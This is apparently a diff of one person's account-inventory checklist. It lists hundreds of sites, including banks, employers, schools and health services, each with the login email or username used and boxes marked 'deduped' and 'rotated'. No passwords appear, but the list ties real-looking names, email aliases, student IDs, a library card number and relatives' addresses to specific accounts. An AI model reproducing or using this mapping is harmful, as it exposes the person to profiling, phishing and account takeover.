[ ] rotated laelyotam@protonmail.com +- [x] deduped [ ] rotated **auth.you.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **auth0.openai.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **authn.edx.org**: krisxkrazy +- [x] deduped [ ] rotated **authnodes.rocketaccount.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **banking.novaemoney.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **bearblog.dev**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **bento.me**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **blueletterbible.org**: isaintkris@gmail.com +- [x] deduped [ ] rotated **bmrks.com**: krisyotam +- [x] deduped [ ] rotated **bookmarkninja.com**: krisyotam +- [x] deduped [ ] rotated **braina.me**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **broker.fieldprint.com**: krisyotam +- [x] deduped [ ] rotated **buyaccounts.us**: krisxkrazy +- [x] deduped [ ] rotated **buymeacoffee.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **buzzoid.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **cart.incauthorityweb.com**: krisofakind +- [x] deduped [ ] rotated **characterhub.com**: krisyotam +- [x] deduped [ ] rotated **checkout.booth.pm**: (none) +- [x] deduped [ ] rotated **Christian Coleman**: chrislamarcoleman@protonmail.com [identity] +- [x] deduped [ ] rotated **cinemark.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **classroom.udacity.com**: laelyotam@protonmail.com +- [x] deduped [ ] rotated **clickup.com**: Kris Yotam +- [x] deduped [ ] rotated **cloud.linode.com**: beef +- [x] deduped [ ] rotated **club.pokemon.com**: xopotes +**coaching.healthygamer.gg**: + - [x] deduped [ ] rotated krisyotam@protonmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **codeforces.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **coinmarketcap.com**: kris@kriskrazy.com +- [x] deduped [ ] rotated **commento.io**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **concierge.mastercard.com**: krisyotam@lcorpnow.com +- [x] deduped [ ] rotated **contact.lung716@silomails.com**: (none) [alias] +- [x] deduped [ ] rotated **controld.com**: krisyotam@protonmail.com +**cosmos.so**: + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krisyotam@protonmail.com +**courses.thinkific.com**: + - [x] deduped [ ] rotated Yotam + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **create.kahoot.it**: kris@kriskrazy.com +- [x] deduped [ ] rotated **creditlikes.com**: krisofakind +- [x] deduped [ ] rotated **crypko.ai**: krisdono +**crypt.ee**: + - [x] deduped [ ] rotated krisyotam@outlook.com + - [ ] deduped [ ] rotated krisyotam@protonmail.com (2x) | **DIFF** +- [x] deduped [ ] rotated **css-ywq5fbauq7dyadnt-prd.inforcloudsuite.com**: laelyotam@gmail.com +**dash.huguitisnodes.host**: + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **dash.partnerstack.com**: Seraph +- [x] deduped [ ] rotated **DataAnnotation**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **deepl.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **desktop.notegoat.ai**: (none) +- [x] deduped [ ] rotated **diggers.to**: khr1st +**disqus.com**: + - [x] deduped [ ] rotated kris@laelyotam.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **docmadeeasy.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **dots.tccmobile.com**: ChristianColeman9088 +- [x] deduped [ ] rotated **dovetailapp.com**: Kris Yotam +**dvu.okta.com**: + - [x] deduped [ ] rotated D41191719 + - [x] deduped [ ] rotated D41191719@academic.net +- [x] deduped [ ] rotated **ebus.ams.org**: math.amply145@aleeas.com +- [x] deduped [ ] rotated **education.mantis373@aleeas.com**: (none) [alias] +- [x] deduped [ ] rotated **educative.io**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **efuse.gg**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **elevenlabs.io**: krisyotam@outlook.com +- [x] deduped [ ] rotated **en.wikipedia.org**: krisyotam +- [x] deduped [ ] rotated **enroll.niu.edu**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **erank.com**: krisyotam@outlook.com +**essay.app**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated Yotam +- [x] deduped [ ] rotated **evilzone.org**: khr1st +- [x] deduped [ ] rotated **ezfn.dev**: krisofakind +- [x] deduped [ ] rotated **fable.co**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **fabric.so**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **factor75.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **Fandango**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **favpng.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **fl4.prod.yodlee.com**: kris@kriskrazy.com +**foliosociety.com**: + - [x] deduped [ ] rotated (none) [alias] + - [x] deduped [ ] rotated foliosociety.pastel466@passmail.net +- [x] deduped [ ] rotated **forum.effectivealtruism.org**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **forum.freecodecamp.org**: krisctf +- [x] deduped [ ] rotated **forum.xda-developers.com**: khr1st +- [x] deduped [ ] rotated **forums.gentoo.org**: krisctf +- [x] deduped [ ] rotated **fosstodon.org**: krisyotam@outlook.com +- [x] deduped [ ] rotated **founderscard.com**: krisyotam@lcorpnow.com +- [x] deduped [ ] rotated **free3d.com**: krisxkrazy +- [x] deduped [ ] rotated **freesound.org**: krisyotam +- [x] deduped [ ] rotated **fs.csd99.org**: ccol0540@csd99.org +- [x] deduped [ ] rotated **fundrise.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **gaia.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **gamestop.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **gaming.mulled420@aleeas.com**: (none) [alias] +- [x] deduped [ ] rotated **gethired.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **getipass.com**: chrislamarcoleman +- [x] deduped [ ] rotated **giphy.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **glass.health**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **globalpenfriends.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **go.itpro.tv**: laelyotam@gmail.com +- [x] deduped [ ] rotated **goodreads.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **hardcover.app**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **headshots.prophotos.ai**: krisyotam@outlook.com +- [x] deduped [ ] rotated **herdi.ng**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **hiatus.app**: krisyotam@outlook.com +- [x] deduped [ ] rotated **home.mycloud.com**: (none) +**home.openweathermap.org**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **hpb.applicantpool.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **hpb.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **http://192.168.1.250**: krisxkrazy +- [x] deduped [ ] rotated **http://diggers.to**: khr1st +- [x] deduped [ ] rotated **http://www.mangago.me**: chrissenpaiii@gmail.com +- [x] deduped [ ] rotated **huggingface.co**: krisyotam +- [x] deduped [ ] rotated **humanbenchmark.com**: krisyotam +- [x] deduped [ ] rotated **hurawatchtv.tv**: Kris +- [x] deduped [ ] rotated **iam-signin.juniper.net**: laelyotam@gmail.com +- [ ] deduped [ ] rotated **iam.newyorklife.com**: clcoleman (4x) | **DIFF** +- [x] deduped [ ] rotated **iconclass.org**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **id.articulate.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **id.blender.org**: laelyotam@protonmail.com +- [x] deduped [ ] rotated **id.blooket.com**: (none) +- [x] deduped [ ] rotated **id.cisco.com**: c1y_khr1st@outlook.com +- [x] deduped [ ] rotated **id.condenast.com**: krisyotam@protonmail.com +**id.element.io**: + - [x] deduped [ ] rotated ihackgames314@gmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com +**id.elsevier.com**: + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **id.logi.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **id.q-ctrl.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **id.sonyentertainmentnetwork.com**: krisxkrazy@Gmail.com +- [x] deduped [ ] rotated **id.unity.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **identity.fieldprint.com**: krisyotam +- [x] deduped [ ] rotated **identity.myisolved.com**: ccoleman@mobilegenerationinc.com +- [x] deduped [ ] rotated **idp.login.iu.edu**: colema2 +- [x] deduped [ ] rotated **igleads.io**: krisyotam@lcorpnow.com +- [x] deduped [ ] rotated **igmorefollowers.com**: krisofakind +- [x] deduped [ ] rotated **imdb.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **imgbin.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **imgur.com**: kriskrazy +- [x] deduped [ ] rotated **incauthority.copilot.app**: krisyotam@outlook.com +- [x] deduped [ ] rotated **instapaper.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **integratedwealthsystems.customerhub.com**: (none) +- [x] deduped [ ] rotated **inv.nadeko.net**: krisyotam +- [x] deduped [ ] rotated **invest.ally.com**: krisofakind +- [x] deduped [ ] rotated **ipad.schedulefly.com**: ccoleman119 +- [x] deduped [ ] rotated **iplogger.org**: laelyotam@gmail.com +- [x] deduped [ ] rotated **jeopardylabs.com**: (none) +- [x] deduped [ ] rotated **kagi.com**: krisyotam@protonmail.com +**kanopy.com**: + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **Kris Yotam**: krisyotam@protonmail.com [identity] +**kris-yotam.ghost.io**: + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [ ] deduped [ ] rotated **learn.devry.edu**: D41191719 (9x) | **DIFF** +- [x] deduped [ ] rotated **lesswrong.com**: krisyotam +- [x] deduped [ ] rotated **Letterboxd**: krisyotam +- [x] deduped [ ] rotated **letterboxd.com**: krisyotam +- [x] deduped [ ] rotated **Link to Windows**: colema2@iu.edu +- [x] deduped [ ] rotated **literal.club**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **litvideobooks.com**: kris@laelyotam.com +- [x] deduped [ ] rotated **livingwriter.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **ln.ht**: krisyotam +- [x] deduped [ ] rotated **loading.io**: laelyotam@gmail.com +- [x] deduped [ ] rotated **locals.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **login.circle.so**: krisyotam@outlook.com +- [x] deduped [ ] rotated **login.circleboom.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **login.epidemicsound.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **login.kiva.org**: krisyotam@outlook.com +- [x] deduped [ ] rotated **login.launchpad.net**: laelyotam@protonmail.com +**login.legalshield.com**: + - [x] deduped [ ] rotated cchristiancoleman + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **login.naturessunshine.com**: rosiecoleman24@yahoo.com +**login.nvgs.nvidia.com**: + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated theyluvkris +- [x] deduped [ ] rotated **login.onemedical.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **login.pearson.com**: colema2@iu.edu +- [x] deduped [ ] rotated **login.playkakaogames.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **login.reliaslearning.com**: A17C +- [x] deduped [ ] rotated **login.squarespace.com**: chris.diffrent@gmail.com +- [x] deduped [ ] rotated **login.teamviewer.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **login.youversion.com**: laelyotam@gmail.com +**login3.id.hp.com**: + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **looka.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **m.schedulefly.com**: ccoleman119 +- [x] deduped [ ] rotated **manage.wix.com**: • • • • • • • • • • +- [x] deduped [ ] rotated **mangafire.to**: krisyotam +- [x] deduped [ ] rotated **mangakakalot.gg**: krisyotam +- [x] deduped [ ] rotated **marketplace.axieinfinity.com**: kris@kriskrazy.com +**math-hub.org**: + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **math.amply145@aleeas.com**: (none) [alias] +- [x] deduped [ ] rotated **mathstodon.xyz**: krisyotam +- [x] deduped [ ] rotated **mathworks.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **members.bookbolt.io**: laelyotam@gmail.com +- [x] deduped [ ] rotated **members.closerfreedomformula.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **milanote.com**: kris@laelyotam.com +- [x] deduped [ ] rotated **mindly.social**: krisyotam +- [x] deduped [ ] rotated **mixer.com**: krisxkrazy +- [x] deduped [ ] rotated **Molly**: (none) +- [x] deduped [ ] rotated **monkeytype.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **motionarray.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **my.accessportals.com**: krisyotam +**my.account.sony.com**: + - [x] deduped [ ] rotated katrinastarks815@yahoo.com + - [x] deduped [ ] rotated krisxkrazy@gmail.com +- [x] deduped [ ] rotated **my.aspiration.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **my.aura.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **my.bible.com**: (none) +- [x] deduped [ ] rotated **my.found.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **my.harrypotter.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **my.lifetime.life**: chriscoleman +- [x] deduped [ ] rotated **my.remarkable.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **my.supernotes.app**: krisyotam +- [x] deduped [ ] rotated **my.writefull.com**: krispuremaths@gmail.com +**myanimelist.net**: + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated krisxkrazy + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **mydramalist.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **myillini.illinois.edu**: chriscoleman +- [x] deduped [ ] rotated **mypoeticside.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **myprofile.purina.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **nanowrimo.org**: krisyotam +- [x] deduped [ ] rotated **nearlyfreespeech.net**: krisyotam +- [x] deduped [ ] rotated **neocities.org**: krisyotam +- [x] deduped [ ] rotated **netgearup.netgear.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **new.express.adobe.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **newcheckout.legalshield.com**: cchristiancoleman +- [x] deduped [ ] rotated **newcp.net**: himothyj +- [x] deduped [ ] rotated **nglsync.cengage.com**: ccol0540 +- [x] deduped [ ] rotated **nma.art**: krisyotam@protonmail.com +**novaemoney.com**: + - [x] deduped [ ] rotated dcoleman + - [x] deduped [ ] rotated krisyotam@lcorpnow.com +- [x] deduped [ ] rotated **nyl.vuesoftware.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **odysee.com**: skyon360hz@gmail.com +- [x] deduped [ ] rotated **oidc.idp.clogin.att.com**: dtc1837@att.net +**oku.club**: + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **onemonth.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **online.hillsdale.edu**: education.mantis373@aleeas.com +- [x] deduped [ ] rotated **openlearninglibrary.mit.edu**: krisyotam@outlook.com +- [x] deduped [ ] rotated **openread.academy**: krisyotam@protonmail.com +**orcid.org**: + - [x] deduped [ ] rotated colma2@iu.edu + - [x] deduped [ ] rotated krisxkrazy@gmail.com +- [x] deduped [ ] rotated **oup2-idp.sams-sigma.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **panel.huguitisnodes.host**: krisyotam +- [x] deduped [ ] rotated **panzoid.com**: krisxkrazy +- [x] deduped [ ] rotated **parchment.com**: ccoleman99@my.devry.edu +- [x] deduped [ ] rotated **pastebin.com**: krisxkrazy +- [x] deduped [ ] rotated **patreon.com**: krisyotam@protonmail.com +**paycomonline.net**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **payloadcms.com**: krisyotam@protonmail.com +**pensight.com**: + - [x] deduped [ ] rotated krisxwork@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **picrew.me**: krisyotam@outlook.com +- [x] deduped [ ] rotated **pixical.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **play.qobuz.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **play.typeracer.com**: krisofakind +- [x] deduped [ ] rotated **play.xiangqi.com**: krisofakind +- [x] deduped [ ] rotated **pngtree.com**: krisxkrazy +- [x] deduped [ ] rotated **poetry.com**: krisyotam +- [x] deduped [ ] rotated **poets.org**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **portal.maa.org**: math.amply145@aleeas.com +- [ ] deduped [ ] rotated **posthaven.com**: krisyotam@protonmail.com (2x) | **DIFF** +- [x] deduped [ ] rotated **postimages.org**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **primeblazed.com**: krisy +- [x] deduped [ ] rotated **privacy.com**: kris@kriskrazy.com +- [x] deduped [ ] rotated **profile.w3schools.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **projecteuler.net**: krisyotam +**promptbase.com**: + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **public.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **quizlet.com**: krisxkrazy +- [x] deduped [ ] rotated **quora.com**: krisyotam@outlook.com +**readwise.io**: + - [x] deduped [ ] rotated krispuremaths@gmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **readyplayer.me**: laelyotam@gmail.com +**recruiting.ultipro.com**: + - [x] deduped [ ] rotated chrislamarcoleman@protonmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **redis.io**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **reflect.app**: kris-yotam +- [x] deduped [ ] rotated **remote.co**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **remotescout24.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **researchgate.net**: math.amply145@aleeas.com +- [x] deduped [ ] rotated **researchrabbitapp.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **retrocrush.tv**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **roamresearch.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **rocket-resume.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **Roomster**: (none) +- [x] deduped [ ] rotated **rumble.com**: krisofakind +**scener.com**: + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated krisxkrazy +- [x] deduped [ ] rotated **scribd.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **scribistiq.app**: krisyotam@outlook.com +- [x] deduped [ ] rotated **scribophile.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **scripture.api.bible**: krisyotam +- [x] deduped [ ] rotated **secure.indeed.com**: (none) [alias] +- [x] deduped [ ] rotated **secure.login.gov**: (none) +- [x] deduped [ ] rotated **secure.spreeder.com**: (none) +**serializd.com**: + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **shop.naturessunshine.com**: rosiecoleman24@yahoo.com +- [x] deduped [ ] rotated **shop.shadow.tech**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **shopping.radial298@aleeas.com**: (none) [alias] +- [x] deduped [ ] rotated **shortform.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **shotdeck.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **shoutcart.com**: krisctf +**signin.ultipro.com**: + - [x] deduped [ ] rotated krisyotam@protonmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **signup.christies.com**: socialite.staring161@slmails.com +- [x] deduped [ ] rotated **singlelogin.org**: kris@kriskrazy.com +- [x] deduped [ ] rotated **skool.com**: social.outright248@slmails.com +- [x] deduped [ ] rotated **smmios.com**: krisofakind +- [x] deduped [ ] rotated **snappa.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **social.outright248@slmails.com**: (none) [alias] +- [x] deduped [ ] rotated **socialite.staring161@slmails.com**: (none) [alias] +- [x] deduped [ ] rotated **solo.to**: krisctf +- [x] deduped [ ] rotated **sophia.org**: colema2@iu.edu +- [x] deduped [ ] rotated **sothebys.com**: socialite.staring161@slmails.com +- [x] deduped [ ] rotated **soundiiz.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **sourceforge.net**: krisxkrazy +- [x] deduped [ ] rotated **spacehey.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **squareup.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **sso.pokemon.com**: xopotes +**sso.prodigygame.com**: + - [x] deduped [ ] rotated ChristianC1393 + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **sso.shadow.tech**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **Starbucks**: (none) +- [x] deduped [ ] rotated **starbucks.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **store.tcgplayer.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **storejobs.wal-mart.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **storywrite.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **studentaid.gov**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **studio.bookbolt.io**: laelyotam@gmail.com +- [x] deduped [ ] rotated **studio.code.org**: kris@kriskrazy.com +- [x] deduped [ ] rotated **substack.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **support.g2g.com**: ccol0540@csd99.org +- [x] deduped [ ] rotated **support.tenorshare.net**: kris@kriskrazy.com +- [x] deduped [ ] rotated **tandem.net**: laelyotam@gmail.com +- [x] deduped [ ] rotated **Target**: krisyotam@outlook.com +- [x] deduped [ ] rotated **tesu.elluciancrmrecruit.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **teuxdeux.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **thecheesecakefactory.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **themoviedb.org**: krisyotam +- [x] deduped [ ] rotated **topia.io**: kris +- [x] deduped [ ] rotated **trackbear.app**: krisyotam +**training.grantcardone.com**: + - [x] deduped [ ] rotated Yotam + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **training.thinkific.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **transact.io**: krisyotam@outlook.com +- [x] deduped [ ] rotated **tribe.so**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **triton.elluciancrmrecruit.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **try.kamatera.com**: c1y_khr1st@outlook.com +- [x] deduped [ ] rotated **un.ms**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **und.my.site.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **unsplash.com**: krisyotam +- [x] deduped [ ] rotated **us.accounts.ikea.com**: (none) [alias] +- [x] deduped [ ] rotated **us.cloudamo.com**: krisxkrazy@protonmail.com +- [x] deduped [ ] rotated **us.loropiana.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **user.manganelo.com**: skysnotsotired +**users.wix.com**: + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **venge.io**: kriskrazy +- [x] deduped [ ] rotated **victory.covenanteyes.com**: yasugenshi +- [x] deduped [ ] rotated **vimeo.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **virtualcustoms.net**: krisofakind +**voicepen.ai**: + - [x] deduped [ ] rotated kris@laelyotam.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **vrcmods.com**: krisofakind +- [x] deduped [ ] rotated **vsbattles.com**: krisofakind +- [x] deduped [ ] rotated **wd1.myworkdaysite.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **web.social-dog.net**: krisyotam@outlook.com +- [x] deduped [ ] rotated **webflow.com**: krisxkrazy +- [x] deduped [ ] rotated **websleuths.com**: krisyotam +- [x] deduped [ ] rotated **weworkremotely.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **whimsical.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **widgets.moneydesktop.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **wiki.archlinux.org**: krisofakind +- [x] deduped [ ] rotated **wiki.gentoo.org**: khr1st +- [x] deduped [ ] rotated **wms.swanlibraries.net**: 21404002108388 +- [x] deduped [ ] rotated **wonder.com**: realcolemanfam@gmail.com +- [x] deduped [ ] rotated **wordpress.com**: ccoleman99@my.devry.edu +- [ ] deduped [ ] rotated **write.as**: krisyotam (3x) | **DIFF** +- [x] deduped [ ] rotated **writing.exchange**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **writing.stiffness470@aleeas.com**: (none) [alias] +**wsr.pearsonvue.com**: + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **www.16personalities.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **www.abcya.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.academia.edu**: laelyotam@gmail.com +- [x] deduped [ ] rotated **www.aliexpress.us**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.ally.com**: krisofakind +- [x] deduped [ ] rotated **www.ams.org**: yes +- [x] deduped [ ] rotated **www.ancestry.com**: kris@kriskrazy.com +- [x] deduped [ ] rotated **www.anewgolfusa.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.apmex.com**: krisyotam@yotam.vip +- [x] deduped [ ] rotated **www.app.napoleoncat.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.articulate.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.artsy.net**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.bandlab.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **www.bankrate.com**: (none) +- [x] deduped [ ] rotated **www.barnesandnoble.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **www.betterhelp.com**: laelyotam@gmail.com +**www.biblegateway.com**: + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **www.blackartdepot.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.blackrock.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.blueletterbible.org**: krisyotam +- [x] deduped [ ] rotated **www.bookbud.ai**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.buymeacoffee.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.cbackup.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **www.cfed.newyorklife.com**: clcoleman +- [x] deduped [ ] rotated **www.cgtrader.com**: kris@kriskrazy.com +**www.chapterly.com**: + - [x] deduped [ ] rotated krisxkrazy2@gmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **www.classcentral.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **www.codechef.com**: krisofakind +- [x] deduped [ ] rotated **www.constantcontact.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **www.conted.ox.ac.uk**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **www.creditonebank.com**: krisyotam +- [x] deduped [ ] rotated **www.dreamstime.com**: chrissenpaiii@gmail.com +- [x] deduped [ ] rotated **www.eastonpress.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **www.edclub.com**: krisofakind +- [x] deduped [ ] rotated **www.education.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.everydayselectrewards.com**: krisxkrazy +- [x] deduped [ ] rotated **www.fashiongo.net**: krisyotam@outlook.com +**www.fluentu.com**: + - [x] deduped [ ] rotated krisxkrazy + - [x] deduped [ ] rotated krisxkrazy@gmail.com +- [x] deduped [ ] rotated **www.forbes.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.futurelearn.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **www.g2g.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.gamestop.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **www.geoguessr.com**: (none) +- [x] deduped [ ] rotated **www.gofundme.com**: laelyotam@protonmail.com +- [x] deduped [ ] rotated **www.gooddog.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.heuristi.ca**: krisyotam@outlook.com +- [x] deduped [ ] rotated 